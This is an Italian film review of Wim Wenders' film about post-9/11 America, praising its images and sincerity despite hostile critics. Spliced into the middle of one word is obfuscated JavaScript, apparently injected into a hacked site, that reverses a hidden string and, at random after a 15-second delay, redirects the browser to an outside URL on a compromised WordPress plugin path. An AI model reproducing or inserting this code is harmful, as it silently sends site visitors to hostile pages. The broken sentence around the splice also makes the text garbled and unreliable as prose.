L’America, dopo

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E’ l’ultimo film di Wim Wenders ed è stato stroncato dalla critica.
Eppure, come vederlo senza emozionarsi?
Sì, certo, alcuni passaggi della storia rischiano di essere banali e retorici; è vero, la componente religiosa può diventare buonista e giustificatoria, ma il fatto che un regista come Wenders abbia deciso di scrivere e girare un film sull’America post-11 settembre è già motivo sufficiente per vederlo. Per vedere come un artista del suo calibro, che usa le immagini come le rime del poeta, possa riprodurre lo smarrimento, la tragedia e la speranza di un paese folle e potenzialmente gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andioso come l’America.
A colpire lo spettatore non è tanto la storia incrociata dello schizofrenico reduce del Vietman, che si crede agente speciale dell’antiterrorismo, e della per nulla ingenua giovane volontaria. Sono le sfumature dei dialoghi e delle inquadrature, sono le emozioni e i dubbi che suscita, è la partecipazione interiore del regista a renderlo un film sincero sull’America. (s.g.)

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